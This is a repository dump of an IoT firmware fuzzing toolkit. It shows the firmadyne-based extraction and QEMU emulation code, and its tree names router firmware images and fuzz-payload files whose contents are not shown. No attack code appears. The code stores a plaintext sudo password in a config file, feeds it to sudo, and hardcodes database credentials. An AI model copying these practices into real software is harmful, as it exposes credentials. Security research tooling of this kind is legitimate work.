├── .gitmodules ├── Emulation ├── emu.config ├── emu.py ├── extractor │ ├── Dockerfile │ ├── LICENSE.txt │ ├── README.md │ ├── extract.sh │ └── extractor.py ├── firmware │ ├── DAP-2695_REVA_FIRMWARE_1.11.RC044.ZIP │ ├── DIR-815_FIRMWARE_1.01.ZIP │ ├── DIR-817LW_REVA_FIRMWARE_1.00B05.ZIP │ ├── DIR-850L_FIRMWARE_1.03.ZIP │ ├── DSL-3782_A1_EU_1.01_07282016.zip │ ├── TL-WR940N(US)_V4_160617_1476690524248q.zip │ ├── WNAP320_V3.0.5.0.zip │ ├── _FW_TEW-813DRU_v1(1.00B23).zip │ └── fw_tv-ip110wn_v2(1.2.2.68).zip ├── kernelinfo.conf ├── reset.py ├── scripts │ ├── ci_file │ ├── delete.sh │ ├── env.config │ ├── fixImage.sh │ ├── getArch.sh │ ├── inferNetwork.sh │ ├── makeImage.sh │ ├── makeNetwork.py │ ├── mount.sh │ ├── preInit.sh │ ├── run-debug.sh │ ├── run.armel-debug.sh │ ├── run.armel.sh │ ├── run.mipseb-debug.sh │ ├── run.mipseb.sh │ ├── run.mipsel-debug.sh │ ├── run.mipsel.sh │ ├── run.sh │ ├── tar2db.py │ ├── test_armel │ ├── test_mipseb │ ├── test_mipsel │ └── umount.sh ├── setup.sh ├── source │ └── LIB │ │ ├── console.armel │ │ ├── console.mipseb │ │ ├── console.mipsel │ │ ├── libnvram.so.armel │ │ ├── libnvram.so.mipseb │ │ └── libnvram.so.mipsel └── toolchains │ ├── arm-linux-musleabi.tar.xz │ ├── mipseb-linux-musl.tar.xz │ └── mipsel-linux-musl.tar.xz ├── Fuzzer ├── IOT_logging.py ├── boofuzz_modify.py ├── ci.txt ├── fuzzer.py ├── imports.py ├── overflow.txt ├── parse.py ├── snapshot.sh └── xss.txt ├── README.md └── Spider ├── gen_fuzz_script.py ├── proxylogger.py └── spider.py /.gitmodules: -------------------------------------------------------------------------------- 1 | [submodule "Emulation/source/Kernel-armel"] 2 | path = Emulation/source/Kernel-armel 3 | url = https://github.com/firmadyne/kernel-v4.1 4 | [submodule "Emulation/source/Kernel-mips"] 5 | path = Emulation/source/Kernel-mips 6 | url = https://github.com/firmadyne/kernel-v2.6 7 | -------------------------------------------------------------------------------- /Emulation/emu.config: -------------------------------------------------------------------------------- 1 | [DEFAULT] 2 | sudo_password=hunter 3 | firmadyne_path=/home/hunter/Desktop/IOT-fuzz/Emulation 4 | -------------------------------------------------------------------------------- /Emulation/emu.py: -------------------------------------------------------------------------------- 1 | #! /usr/bin/python3 2 | 3 | import os 4 | import os.path 5 | import pexpect 6 | import sys 7 | import argparse 8 | 9 | from configparser import ConfigParser 10 | 11 | config = ConfigParser() 12 | config.read("emu.config") 13 | firmadyne_path = config["DEFAULT"].get("firmadyne_path", "") 14 | sudo_pass = config["DEFAULT"].get("sudo_password", "") 15 | 16 | def get_next_unused_iid(): 17 | for i in range(1, 1000): 18 | if not os.path.isdir(os.path.join(firmadyne_path, "scratch", str(i))): 19 | return str(i) 20 | return "" 21 | 22 | 23 | def run_extractor(firm_name): 24 | print ("[+] Firmware:", os.path.basename(firm_name)) 25 | print ("[+] Extracting the firmware...") 26 | 27 | extractor_cmd = os.path.join(firmadyne_path, "extractor/extractor.py") 28 | extractor_args = [ 29 | "-np", 30 | "-nk", 31 | firm_name, 32 | os.path.join(firmadyne_path, "images") 33 | ] 34 | 35 | child = pexpect.spawn(extractor_cmd, extractor_args, timeout=None) 36 | child.expect_exact("Tag: ") 37 | tag = child.readline().strip().decode("utf8") 38 | child.expect_exact(pexpect.EOF) 39 | 40 | image_tgz = os.path.join(firmadyne_path, "images", tag + ".tar.gz") 41 | 42 | if os.path.isfile(image_tgz): 43 | iid = get_next_unused_iid() 44 | if iid == "" or os.path.isfile(os.path.join(os.path.dirname(image_tgz), iid + ".tar.gz")): 45 | print ("[!] Too many stale images") 46 | print ("[!] Please run reset.py or manually delete the contents of the scratch/ and images/ directory") 47 | return "" 48 | 49 | os.rename(image_tgz, os.path.join(os.path.dirname(image_tgz), iid + ".tar.gz")) 50 | print ("[+] Image ID:", iid) 51 | return iid 52 | 53 | return "" 54 | 55 | 56 | def identify_arch(image_id): 57 | print ("[+] Identifying architecture...") 58 | identfy_arch_cmd = os.path.join(firmadyne_path, "scripts/getArch.sh") 59 | identfy_arch_args = [ 60 | os.path.join(firmadyne_path, "images", image_id + ".tar.gz") 61 | ] 62 | child = pexpect.spawn(identfy_arch_cmd, identfy_arch_args, cwd=firmadyne_path) 63 | child.expect_exact(":") 64 | arch = child.readline().strip().decode("utf8") 65 | print ("[+] Architecture: " + arch) 66 | try: 67 | child.expect_exact(pexpect.EOF) 68 | except Exception as e: 69 | child.close(force=True) 70 | 71 | return arch 72 | 73 | 74 | def make_image(image_id, arch): 75 | print ("[+] Building QEMU disk image...") 76 | makeimage_cmd = os.path.join(firmadyne_path, "scripts/makeImage.sh") 77 | makeimage_args = ["--", makeimage_cmd, image_id, arch] 78 | child = pexpect.spawn("sudo", makeimage_args, cwd=firmadyne_path) 79 | child.sendline(sudo_pass) 80 | child.expect_exact(pexpect.EOF) 81 | 82 | 83 | def infer_network(image_id, arch): 84 | print ("[+] Setting up the network connection, please standby...") 85 | network_cmd = os.path.join(firmadyne_path, "scripts/inferNetwork.sh") 86 | network_args = [image_id, arch] 87 | 88 | child = pexpect.spawn(network_cmd, network_args, cwd=firmadyne_path) 89 | 90 | child.expect_exact("Interfaces:", timeout=None) 91 | interfaces = child.readline().strip().decode("utf8") 92 | print ("[+] Network interfaces:", interfaces) 93 | child.expect_exact(pexpect.EOF) 94 | 95 | 96 | def final_run(image_id, arch, qemu_dir): 97 | runsh_path = os.path.join(firmadyne_path, "scratch", image_id, "run.sh") 98 | if not os.path.isfile(runsh_path): 99 | print ("[!] Cannot emulate firmware, run.sh not generated") 100 | return 101 | 102 | print ("[+] All set! Press ENTER to run the firmware...") 103 | input ("[+] When running, press Ctrl + A X to terminate qemu") 104 | 105 | print ("[+] Command line:", runsh_path) 106 | run_cmd = ["--", runsh_path] 107 | child = pexpect.spawn("sudo", run_cmd, cwd=firmadyne_path) 108 | child.sendline(sudo_pass) 109 | child.interact() 110 | 111 | 112 | def main(): 113 | parser = argparse.ArgumentParser() 114 | parser.add_argument("firm_path", help="The path to the firmware image", type=str) 115 | args = parser.parse_args() 116 | 117 | image_id = run_extractor(args.firm_path) 118 | if image_id == "": 119 | print ("[!] Image extraction failed") 120 | else: 121 | arch = identify_arch(image_id) 122 | make_image(image_id, arch) 123 | infer_network(image_id, arch) 124 | # final_run(image_id, arch) 125 | # final_run("1", "mipseb") 126 | 127 | 128 | if __name__ == "__main__": 129 | main() 130 | -------------------------------------------------------------------------------- /Emulation/extractor/Dockerfile: -------------------------------------------------------------------------------- 1 | FROM python:2-wheezy 2 | 3 | WORKDIR /root 4 | 5 | RUN apt-get update && \ 6 | apt-get upgrade -y && \ 7 | apt-get install -y git-core wget build-essential liblzma-dev liblzo2-dev zlib1g-dev unrar-free && \ 8 | pip install -U pip 9 | 10 | RUN git clone https://github.com/firmadyne/sasquatch && \ 11 | cd sasquatch && \ 12 | make && \ 13 | make install && \ 14 | cd .. && \ 15 | rm -rf sasquatch 16 | 17 | RUN git clone https://github.com/devttys0/binwalk.git && \ 18 | cd binwalk && \ 19 | ./deps.sh --yes && \ 20 | python setup.py install && \ 21 | pip install 'git+https://github.com/ahupp/python-magic' && \ 22 | pip install 'git+https://github.com/sviehb/jefferson' && \ 23 | cd .. && \ 24 | rm -rf binwalk 25 | 26 | RUN \ 27 | adduser --disabled-password \ 28 | --gecos '' \ 29 | --home /home/extractor \ 30 | extractor 31 | 32 | USER extractor 33 | WORKDIR /home/extractor 34 | 35 | RUN git clone https://github.com/firmadyne/extractor.git 36 | -------------------------------------------------------------------------------- /Emulation/extractor/LICENSE.txt: -------------------------------------------------------------------------------- 1 | The MIT License (MIT) 2 | 3 | Copyright (c) 2015 - 2016, Daming Dominic Chen 4 | 5 | Permission is hereby granted, free of charge, to any person obtaining a copy 6 | of this software and associated documentation files (the "Software"), to deal 7 | in the Software without restriction, including without limitation the rights 8 | to use, copy, modify, merge, publish, distribute, sublicense, and/or sell 9 | copies of the Software, and to permit persons to whom the Software is 10 | furnished to do so, subject to the following conditions: 11 | 12 | The above copyright notice and this permission notice shall be included in all 13 | copies or substantial portions of the Software. 14 | 15 | THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR 16 | IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, 17 | FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE 18 | AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER 19 | LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, 20 | OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE 21 | SOFTWARE. 22 | -------------------------------------------------------------------------------- /Emulation/extractor/README.md: -------------------------------------------------------------------------------- 1 | Introduction 2 | ============ 3 | 4 | This is a recursive firmware extractor that aims to extract a kernel image 5 | and/or compressed filesystem from a Linux-based firmware image. A number of 6 | heuristics are included to avoid extraction of certain blacklisted file types, 7 | and to avoid unproductive extraction beyond certain breadth and depth 8 | limitations. 9 | 10 | Firmware images with multiple filesystems are not fully supported; this tool 11 | cannot reassemble them and will instead extract the first filesystem that has 12 | sufficient UNIX-like root directories (e.g. `/bin`, `/etc/`, etc.) 13 | 14 | For the impatients: Dockerize all the things! 15 | ============================================= 16 | 1. Install [Docker](https://docs.docker.com/engine/getstarted/) 17 | 2. Run the dockerized extractor 18 | ``` 19 | git clone https://github.com/firmadyne/extractor.git 20 | cd extractor 21 | ./extract.sh path/to/firmware.img path/to/output/directory 22 | ``` 23 | 24 | Dependencies 25 | ============ 26 | * [fakeroot](https://fakeroot.alioth.debian.org) 27 | * [psycopg2](http://initd.org/psycopg/) 28 | * [binwalk](https://github.com/devttys0/binwalk) 29 | * [python-magic](https://github.com/ahupp/python-magic) 30 | 31 | Please use the latest version of `binwalk`. Note that there are two 32 | Python modules that both share the name `python-magic`; both should be usable, 33 | but only the one linked above has been tested extensively. 34 | 35 | Binwalk 36 | ------- 37 | 38 | * [jefferson](https://github.com/sviehb/jefferson) 39 | * [sasquatch](https://github.com/firmadyne/sasquatch) (optional) 40 | 41 | When installing `binwalk`, it is optional to use the forked version of the 42 | `sasquatch` tool, which has been modified to make SquashFS file extraction 43 | errors fatal to prevent false positives. 44 | 45 | Usage 46 | ===== 47 | 48 | During execution, the extractor will temporarily extract files into `/tmp` 49 | while recursing. Since firmware images can be large, preferably mount this 50 | mount point as `tmpfs` backed by a large amount of memory, to optimize 51 | performance. 52 | 53 | To preserve filesystem permissions during extraction, while avoiding execution 54 | with root privileges, wrap execution of this extractor within `fakeroot`. This 55 | will emulate privileged operations. 56 | 57 | `fakeroot python3 ./extractor.py -np ` 58 | 59 | Notes 60 | ===== 61 | 62 | This tool is beta quality. In particular, it was written before the 63 | `binwalk` API was updated to provide an interface for accessing information 64 | about the extraction of each signature match. As a result, it walks the 65 | filesystem to identify the extracted files that correspond to a given 66 | signature match. Additionally, parallel operation has not been thoroughly 67 | tested. 68 | 69 | Pull requests are greatly appreciated! 70 | -------------------------------------------------------------------------------- /Emulation/extractor/extract.sh: -------------------------------------------------------------------------------- 1 | #! /bin/bash 2 | 3 | infile=$1 4 | outdir=$2 5 | 6 | # override 65535k docker default size with tmpfs default 7 | mem=$(($(free | awk '/^Mem:/{print $2}') / 2))k 8 | 9 | indir=$(realpath $(dirname "${infile}")) 10 | outdir=$(realpath "${outdir}") 11 | infilebn=$(basename "${infile}") 12 | 13 | docker run --rm -t -i --tmpfs /tmp:rw,size=${mem} \ 14 | -v "${indir}":/firmware-in:ro \ 15 | -v "${outdir}":/firmware-out \ 16 | "ddcc/firmadyne-extractor:latest" \ 17 | fakeroot /home/extractor/extractor/extractor.py \ 18 | -np \ 19 | /firmware-in/"${infilebn}" \ 20 | /firmware-out 21 | -------------------------------------------------------------------------------- /Emulation/extractor/extractor.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python3 2 | 3 | """ 4 | Module that performs extraction. For usage, refer to documentation for the class 5 | 'Extractor'. This module can also be executed directly, 6 | e.g. 'extractor.py '. 7 | """ 8 | 9 | import argparse 10 | import hashlib 11 | import multiprocessing 12 | import os 13 | import shutil 14 | import tempfile 15 | import traceback 16 | 17 | import magic 18 | import binwalk 19 | 20 | class Extractor(object): 21 | """ 22 | Class that extracts kernels and filesystems from firmware images, given an 23 | input file or directory and output directory. 24 | """ 25 | 26 | # Directories that define the root of a UNIX filesystem, and the 27 | # appropriate threshold condition 28 | UNIX_DIRS = ["bin", "etc", "dev", "home", "lib", "mnt", "opt", "root", 29 | "run", "sbin", "tmp", "usr", "var"] 30 | UNIX_THRESHOLD = 4 31 | 32 | # Lock to prevent concurrent access to visited set. Unfortunately, must be 33 | # static because it cannot be pickled or passed as instance attribute. 34 | visited_lock = multiprocessing.Lock() 35 | 36 | def __init__(self, indir, outdir=None, rootfs=True, kernel=True, 37 | numproc=True, server=None, brand=None): 38 | # Input firmware update file or directory 39 | self._input = os.path.abspath(indir) 40 | # Output firmware directory 41 | self.output_dir = os.path.abspath(outdir) if outdir else None 42 | 43 | # Whether to attempt to extract kernel 44 | self.do_kernel = kernel 45 | 46 | # Whether to attempt to extract root filesystem 47 | self.do_rootfs = rootfs 48 | 49 | # Brand of the firmware 50 | self.brand = brand 51 | 52 | # Hostname of SQL server 53 | self.database = server 54 | 55 | # Worker pool. 56 | self._pool = multiprocessing.Pool() if numproc else None 57 | 58 | # Set containing MD5 checksums of visited items 59 | self.visited = set() 60 | 61 | # List containing tagged items to extract as 2-tuple: (tag [e.g. MD5], 62 | # path) 63 | self._list = list() 64 | 65 | def __getstate__(self): 66 | """ 67 | Eliminate attributes that should not be pickled. 68 | """ 69 | self_dict = self.__dict__.copy() 70 | del self_dict["_pool"] 71 | del self_dict["_list"] 72 | return self_dict 73 | 74 | @staticmethod 75 | def io_dd(indir, offset, size, outdir): 76 | """ 77 | Given a path to a target file, extract size bytes from specified offset 78 | to given output file. 79 | """ 80 | if not size: 81 | return 82 | 83 | with open(indir, "rb") as ifp: 84 | with open(outdir, "wb") as ofp: 85 | ifp.seek(offset, 0) 86 | ofp.write(ifp.read(size)) 87 | 88 | @staticmethod 89 | def magic(indata, mime=False): 90 | """ 91 | Performs file magic while maintaining compatibility with different 92 | libraries. 93 | """ 94 | 95 | try: 96 | if mime: 97 | mymagic = magic.open(magic.MAGIC_MIME_TYPE) 98 | else: 99 | mymagic = magic.open(magic.MAGIC_NONE) 100 | mymagic.load() 101 | except AttributeError: 102 | mymagic = magic.Magic(mime) 103 | mymagic.file = mymagic.from_file 104 | return mymagic.file(indata) 105 | 106 | @staticmethod 107 | def io_md5(target): 108 | """ 109 | Performs MD5 with a block size of 64kb. 110 | """ 111 | blocksize = 65536 112 | hasher = hashlib.md5() 113 | 114 | with open(target, 'rb') as ifp: 115 | buf = ifp.read(blocksize) 116 | while buf: 117 | hasher.update(buf) 118 | buf = ifp.read(blocksize) 119 | return hasher.hexdigest() 120 | 121 | @staticmethod 122 | def io_rm(target): 123 | """ 124 | Attempts to recursively delete a directory. 125 | """ 126 | shutil.rmtree(target, ignore_errors=False, onerror=Extractor._io_err) 127 | 128 | @staticmethod 129 | def _io_err(function, path, excinfo): 130 | """ 131 | Internal function used by '_rm' to print out errors. 132 | """ 133 | print(("!! %s: Cannot delete %s!\n%s" % (function, path, excinfo))) 134 | 135 | @staticmethod 136 | def io_find_rootfs(start, recurse=True): 137 | """ 138 | Attempts to find a Linux root directory. 139 | """ 140 | 141 | # Recurse into single directory chains, e.g. jffs2-root/fs_1/.../ 142 | path = start 143 | while (len(os.listdir(path)) == 1 and 144 | os.path.isdir(os.path.join(path, os.listdir(path)[0]))): 145 | path = os.path.join(path, os.listdir(path)[0]) 146 | 147 | # count number of unix-like directories 148 | count = 0 149 | for subdir in os.listdir(path): 150 | if subdir in Extractor.UNIX_DIRS and \ 151 | os.path.isdir(os.path.join(path, subdir)): 152 | count += 1 153 | 154 | # check for extracted filesystem, otherwise update queue 155 | if count >= Extractor.UNIX_THRESHOLD: 156 | return (True, path) 157 | 158 | # in some cases, multiple filesystems may be extracted, so recurse to 159 | # find best one 160 | if recurse: 161 | for subdir in os.listdir(path): 162 | if os.path.isdir(os.path.join(path, subdir)): 163 | res = Extractor.io_find_rootfs(os.path.join(path, subdir), 164 | False) 165 | if res[0]: 166 | return res 167 | 168 | return (False, start) 169 | 170 | def extract(self): 171 | """ 172 | Perform extraction of firmware updates from input to tarballs in output 173 | directory using a thread pool. 174 | """ 175 | if os.path.isdir(self._input): 176 | for path, _, files in os.walk(self._input): 177 | for item in files: 178 | self._list.append(os.path.join(path, item)) 179 | elif os.path.isfile(self._input): 180 | self._list.append(self._input) 181 | else: 182 | print("!! Cannot read file: %s" % (self._input,)) 183 | 184 | if self.output_dir and not os.path.isdir(self.output_dir): 185 | os.makedirs(self.output_dir) 186 | 187 | if self._pool: 188 | self._pool.map(self._extract_item, self._list) 189 | else: 190 | for item in self._list: 191 | self._extract_item(item) 192 | 193 | def _extract_item(self, path): 194 | """ 195 | Wrapper function that creates an ExtractionItem and calls the extract() 196 | method. 197 | """ 198 | 199 | ExtractionItem(self, path, 0).extract() 200 | 201 | class ExtractionItem(object): 202 | """ 203 | Class that encapsulates the state of a single item that is being extracted. 204 | """ 205 | 206 | # Maximum recursion breadth and depth 207 | RECURSION_BREADTH = 5 208 | RECURSION_DEPTH = 3 209 | 210 | def __init__(self, extractor, path, depth, tag=None): 211 | # Temporary directory 212 | self.temp = None 213 | 214 | # Recursion depth counter 215 | self.depth = depth 216 | 217 | # Reference to parent extractor object 218 | self.extractor = extractor 219 | 220 | # File path 221 | self.item = path 222 | 223 | # Database connection 224 | if self.extractor.database: 225 | import psycopg2 226 | self.database = psycopg2.connect(database="firmware", 227 | user="firmadyne", 228 | password="firmadyne", 229 | host=self.extractor.database) 230 | else: 231 | self.database = None 232 | 233 | # Checksum 234 | self.checksum = Extractor.io_md5(path) 235 | 236 | # Tag 237 | self.tag = tag if tag else self.generate_tag() 238 | 239 | # Output file path and filename prefix 240 | self.output = os.path.join(self.extractor.output_dir, self.tag) if \ 241 | self.extractor.output_dir else None 242 | 243 | # Status, with terminate indicating early termination for this item 244 | self.terminate = False 245 | self.status = None 246 | self.update_status() 247 | 248 | def __del__(self): 249 | if self.database: 250 | self.database.close() 251 | 252 | if self.temp: 253 | self.printf(">> Cleaning up %s..." % self.temp) 254 | Extractor.io_rm(self.temp) 255 | 256 | def printf(self, fmt): 257 | """ 258 | Prints output string with appropriate depth indentation. 259 | """ 260 | print(("\t" * self.depth + fmt)) 261 | 262 | def generate_tag(self): 263 | """ 264 | Generate the filename tag. 265 | """ 266 | if not self.database: 267 | return os.path.basename(self.item) + "_" + self.checksum 268 | 269 | try: 270 | image_id = None 271 | cur = self.database.cursor() 272 | if self.extractor.brand: 273 | brand = self.extractor.brand 274 | else: 275 | brand = os.path.relpath(self.item).split(os.path.sep)[0] 276 | cur.execute("SELECT id FROM brand WHERE name=%s", (brand, )) 277 | brand_id = cur.fetchone() 278 | if not brand_id: 279 | cur.execute("INSERT INTO brand (name) VALUES (%s) RETURNING id", 280 | (brand, )) 281 | brand_id = cur.fetchone() 282 | if brand_id: 283 | cur.execute("SELECT id FROM image WHERE hash=%s", 284 | (self.checksum, )) 285 | image_id = cur.fetchone() 286 | if not image_id: 287 | cur.execute("INSERT INTO image (filename, brand_id, hash) \ 288 | VALUES (%s, %s, %s) RETURNING id", 289 | (os.path.basename(self.item), brand_id[0], 290 | self.checksum)) 291 | image_id = cur.fetchone() 292 | self.database.commit() 293 | except BaseException: 294 | traceback.print_exc() 295 | self.database.rollback() 296 | finally: 297 | if cur: 298 | cur.close() 299 | 300 | if image_id: 301 | self.printf(">> Database Image ID: %s" % image_id[0]) 302 | 303 | return str(image_id[0]) if \ 304 | image_id else os.path.basename(self.item) + "_" + self.checksum 305 | 306 | def get_kernel_status(self): 307 | """ 308 | Get the flag corresponding to the kernel status. 309 | """ 310 | return self.status[0] 311 | 312 | def get_rootfs_status(self): 313 | """ 314 | Get the flag corresponding to the root filesystem status. 315 | """ 316 | return self.status[1] 317 | 318 | def update_status(self): 319 | """ 320 | Updates the status flags using the tag to determine completion status. 321 | """ 322 | kernel_done = os.path.isfile(self.get_kernel_path()) if \ 323 | self.extractor.do_kernel and self.output else \ 324 | not self.extractor.do_kernel 325 | rootfs_done = os.path.isfile(self.get_rootfs_path()) if \ 326 | self.extractor.do_rootfs and self.output else \ 327 | not self.extractor.do_rootfs 328 | self.status = (kernel_done, rootfs_done) 329 | 330 | if self.database and kernel_done and self.extractor.do_kernel: 331 | self.update_database("kernel_extracted", "True") 332 | 333 | if self.database and rootfs_done and self.extractor.do_rootfs: 334 | self.update_database("rootfs_extracted", "True") 335 | 336 | return self.get_status() 337 | 338 | def update_database(self, field, value): 339 | """ 340 | Update a given field in the database. 341 | """ 342 | ret = True 343 | if self.database: 344 | try: 345 | cur = self.database.cursor() 346 | cur.execute("UPDATE image SET " + field + "='" + value + 347 | "' WHERE id=%s", (self.tag, )) 348 | self.database.commit() 349 | except BaseException: 350 | ret = False 351 | traceback.print_exc() 352 | self.database.rollback() 353 | finally: 354 | if cur: 355 | cur.close() 356 | return ret 357 | 358 | def get_status(self): 359 | """ 360 | Returns True if early terminate signaled, extraction is complete, 361 | otherwise False. 362 | """ 363 | return True if self.terminate or all(i for i in self.status) else False 364 | 365 | def get_kernel_path(self): 366 | """ 367 | Return the full path (including filename) to the output kernel file. 368 | """ 369 | return self.output + ".kernel" if self.output else None 370 | 371 | def get_rootfs_path(self): 372 | """ 373 | Return the full path (including filename) to the output root filesystem 374 | file. 375 | """ 376 | return self.output + ".tar.gz" if self.output else None 377 | 378 | def extract(self): 379 | """ 380 | Perform the actual extraction of firmware updates, recursively. Returns 381 | True if extraction complete, otherwise False. 382 | """ 383 | self.printf("\n" + self.item.encode("utf-8", "replace").decode("utf-8")) 384 | 385 | # check if item is complete 386 | if self.get_status(): 387 | self.printf(">> Skipping: completed!") 388 | return True 389 | 390 | # check if exceeding recursion depth 391 | if self.depth > ExtractionItem.RECURSION_DEPTH: 392 | self.printf(">> Skipping: recursion depth %d" % self.depth) 393 | return self.get_status() 394 | 395 | # check if checksum is in visited set 396 | self.printf(">> MD5: %s" % self.checksum) 397 | with Extractor.visited_lock: 398 | if self.checksum in self.extractor.visited: 399 | self.printf(">> Skipping: %s..." % self.checksum) 400 | return self.get_status() 401 | else: 402 | self.extractor.visited.add(self.checksum) 403 | 404 | # check if filetype is blacklisted 405 | if self._check_blacklist(): 406 | return self.get_status() 407 | 408 | # create working directory 409 | self.temp = tempfile.mkdtemp() 410 | 411 | try: 412 | self.printf(">> Tag: %s" % self.tag) 413 | self.printf(">> Temp: %s" % self.temp) 414 | self.printf(">> Status: Kernel: %s, Rootfs: %s, Do_Kernel: %s, \ 415 | Do_Rootfs: %s" % (self.get_kernel_status(), 416 | self.get_rootfs_status(), 417 | self.extractor.do_kernel, 418 | self.extractor.do_rootfs)) 419 | 420 | for analysis in [self._check_archive, self._check_firmware, 421 | self._check_kernel, self._check_rootfs, 422 | self._check_compressed]: 423 | # Move to temporary directory so binwalk does not write to input 424 | os.chdir(self.temp) 425 | 426 | # Update status only if analysis changed state 427 | if analysis(): 428 | if self.update_status(): 429 | self.printf(">> Skipping: completed!") 430 | return True 431 | 432 | except Exception: 433 | traceback.print_exc() 434 | 435 | return False 436 | 437 | def _check_blacklist(self): 438 | """ 439 | Check if this file is blacklisted for analysis based on file type. 440 | """ 441 | # First, use MIME-type to exclude large categories of files 442 | filetype = Extractor.magic(self.item.encode("utf-8", "surrogateescape"), 443 | mime=True) 444 | if any(s in filetype for s in ["application/x-executable", 445 | "application/x-dosexec", 446 | "application/x-object", 447 | "application/pdf", 448 | "application/msword", 449 | "image/", "text/", "video/"]): 450 | self.printf(">> Skipping: %s..." % filetype) 451 | return True 452 | 453 | # Next, check for specific file types that have MIME-type 454 | # 'application/octet-stream' 455 | filetype = Extractor.magic(self.item.encode("utf-8", "surrogateescape")) 456 | if any(s in filetype for s in ["executable", "universal binary", 457 | "relocatable", "bytecode", "applet"]): 458 | self.printf(">> Skipping: %s..." % filetype) 459 | return True 460 | 461 | # Finally, check for specific file extensions that would be incorrectly 462 | # identified 463 | if self.item.endswith(".dmg"): 464 | self.printf(">> Skipping: %s..." % (self.item)) 465 | return True 466 | 467 | return False 468 | 469 | def _check_archive(self): 470 | """ 471 | If this file is an archive, recurse over its contents, unless it matches 472 | an extracted root filesystem. 473 | """ 474 | return self._check_recursive("archive") 475 | 476 | def _check_firmware(self): 477 | """ 478 | If this file is of a known firmware type, directly attempt to extract 479 | the kernel and root filesystem. 480 | """ 481 | for module in binwalk.scan(self.item, "-y", "header", signature=True, 482 | quiet=True): 483 | for entry in module.results: 484 | # uImage 485 | if "uImage header" in entry.description: 486 | if not self.get_kernel_status() and \ 487 | "OS Kernel Image" in entry.description: 488 | kernel_offset = entry.offset + 64 489 | kernel_size = 0 490 | 491 | for stmt in entry.description.split(','): 492 | if "image size:" in stmt: 493 | kernel_size = int(''.join( 494 | i for i in stmt if i.isdigit()), 10) 495 | 496 | if kernel_size != 0 and kernel_offset + kernel_size \ 497 | <= os.path.getsize(self.item): 498 | self.printf(">>>> %s" % entry.description) 499 | 500 | tmp_fd, tmp_path = tempfile.mkstemp(dir=self.temp) 501 | os.close(tmp_fd) 502 | Extractor.io_dd(self.item, kernel_offset, 503 | kernel_size, tmp_path) 504 | kernel = ExtractionItem(self.extractor, tmp_path, 505 | self.depth, self.tag) 506 | 507 | return kernel.extract() 508 | # elif "RAMDisk Image" in entry.description: 509 | # self.printf(">>>> %s" % entry.description) 510 | # self.printf(">>>> Skipping: RAMDisk / initrd") 511 | # self.terminate = True 512 | # return True 513 | 514 | # TP-Link or TRX 515 | elif not self.get_kernel_status() and \ 516 | not self.get_rootfs_status() and \ 517 | "rootfs offset: " in entry.description and \ 518 | "kernel offset: " in entry.description: 519 | kernel_offset = 0 520 | kernel_size = 0 521 | rootfs_offset = 0 522 | rootfs_size = 0 523 | 524 | for stmt in entry.description.split(','): 525 | if "kernel offset:" in stmt: 526 | kernel_offset = int(stmt.split(':')[1], 16) 527 | elif "kernel length:" in stmt: 528 | kernel_size = int(stmt.split(':')[1], 16) 529 | elif "rootfs offset:" in stmt: 530 | rootfs_offset = int(stmt.split(':')[1], 16) 531 | elif "rootfs length:" in stmt: 532 | rootfs_size = int(stmt.split(':')[1], 16) 533 | 534 | # compute sizes if only offsets provided 535 | if kernel_offset != rootfs_size and kernel_size == 0 and \ 536 | rootfs_size == 0: 537 | kernel_size = rootfs_offset - kernel_offset 538 | rootfs_size = os.path.getsize(self.item) - rootfs_offset 539 | 540 | # ensure that computed values are sensible 541 | if (kernel_size > 0 and kernel_offset + kernel_size \ 542 | <= os.path.getsize(self.item)) and \ 543 | (rootfs_size != 0 and rootfs_offset + rootfs_size \ 544 | <= os.path.getsize(self.item)): 545 | self.printf(">>>> %s" % entry.description) 546 | 547 | tmp_fd, tmp_path = tempfile.mkstemp(dir=self.temp) 548 | os.close(tmp_fd) 549 | Extractor.io_dd(self.item, kernel_offset, kernel_size, 550 | tmp_path) 551 | kernel = ExtractionItem(self.extractor, tmp_path, 552 | self.depth, self.tag) 553 | kernel.extract() 554 | 555 | tmp_fd, tmp_path = tempfile.mkstemp(dir=self.temp) 556 | os.close(tmp_fd) 557 | Extractor.io_dd(self.item, rootfs_offset, rootfs_size, 558 | tmp_path) 559 | rootfs = ExtractionItem(self.extractor, tmp_path, 560 | self.depth, self.tag) 561 | rootfs.extract() 562 | 563 | return self.update_status() 564 | return False 565 | 566 | def _check_kernel(self): 567 | """ 568 | If this file contains a kernel version string, assume it is a kernel. 569 | Only Linux kernels are currently extracted. 570 | """ 571 | if not self.get_kernel_status(): 572 | for module in binwalk.scan(self.item, "-y", "kernel", 573 | signature=True, quiet=True): 574 | for entry in module.results: 575 | if "kernel version" in entry.description: 576 | self.update_database("kernel_version", 577 | entry.description) 578 | if "Linux" in entry.description: 579 | if self.get_kernel_path(): 580 | shutil.copy(self.item, self.get_kernel_path()) 581 | else: 582 | self.extractor.do_kernel = False 583 | self.printf(">>>> %s" % entry.description) 584 | return True 585 | # VxWorks, etc 586 | else: 587 | self.printf(">>>> Ignoring: %s" % entry.description) 588 | return False 589 | return False 590 | return False 591 | 592 | def _check_rootfs(self): 593 | """ 594 | If this file contains a known filesystem type, extract it. 595 | """ 596 | 597 | if not self.get_rootfs_status(): 598 | for module in binwalk.scan(self.item, "-e", "-r", "-y", 599 | "filesystem", signature=True, 600 | quiet=True): 601 | for entry in module.results: 602 | self.printf(">>>> %s" % entry.description) 603 | break 604 | 605 | if module.extractor.directory: 606 | unix = Extractor.io_find_rootfs(module.extractor.directory) 607 | 608 | if not unix[0]: 609 | self.printf(">>>> Extraction failed!") 610 | return False 611 | 612 | self.printf(">>>> Found Linux filesystem in %s!" % unix[1]) 613 | if self.output: 614 | shutil.make_archive(self.output, "gztar", 615 | root_dir=unix[1]) 616 | else: 617 | self.extractor.do_rootfs = False 618 | return True 619 | return False 620 | 621 | def _check_compressed(self): 622 | """ 623 | If this file appears to be compressed, decompress it and recurse over 624 | its contents. 625 | """ 626 | return self._check_recursive("compressed") 627 | 628 | # treat both archived and compressed files using the same pathway. 